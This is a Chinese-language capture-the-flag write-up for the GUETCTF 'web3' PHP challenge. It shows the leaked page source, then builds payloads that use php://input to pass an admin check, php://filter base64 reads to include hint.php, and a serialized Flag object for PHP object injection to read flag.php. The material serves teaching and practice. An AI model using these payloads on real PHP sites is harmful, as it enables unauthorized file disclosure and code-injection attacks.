[TOC]
GUETCTF-web3-wp
打开网页是一个登陆界面,f12查看源码:
<!--
$user = $_GET["username"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="i-am-admin")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
- 一开始直接让username=i-am-admin但登陆失败
发现思路是让file_get_content($user,’r’)===”i-am-admin”,所以要用伪协议php://input传入参数。
php://input可以得到原始的post数据
- 接下来要想办法包含hint.php
- 这里用到php的另一个封装协议:php://filter
利用这个协议就可以读取任意文件
利用方法:php://filter/convert.base64-encode/resource=hint.php
这里把读取到的hint.php的内容转换为base64的格式,
于是构造payload:
?user=php://input&file=php://filter/convert.base64-encode/resource=hint.php
在线解码后得到hint.php
<?php
error_reporting(0);
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("This is your flag!");
}
}
}
?>
但我们不能直接访问flag.php,因为
if(preg_match("/flag/",$file)){
exit();
回到源码发现需要用反序列化读取flag.php文件
于是根据hint.php构造
O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
得到一串base64直接解码就能得到flag
总的payload是:
?user=php://input&file=hint.php&pass=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
(同时post参数i-am-admin)